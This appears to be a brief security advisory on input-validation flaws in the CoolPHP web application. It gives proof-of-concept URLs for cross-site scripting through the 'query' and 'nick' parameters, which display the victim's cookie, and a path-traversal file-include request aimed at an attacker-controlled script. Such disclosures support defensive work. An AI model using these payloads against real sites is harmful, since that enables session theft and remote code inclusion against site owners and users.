|
|
CoolPHP Multiple Remote Input Validation Vulnerabilities
No exploit is required to leverage these issues. The following proof of concepts have been provided: Cross-Site Scripting: http://www.example.com/index.php?op=buscar&query=<script language=javascript>window.alert(document.cookie);</script> http://www.example.com/index.php?op=buscar&query=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E http://www.example.com/index.php?op=userinfo&nick=<script language=javascript>window.alert(document.cookie);</script> File Include: http://www.example.com/index.php?op=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FattackerControlledDirectory/attackerScript.php |
|
Privacy Statement |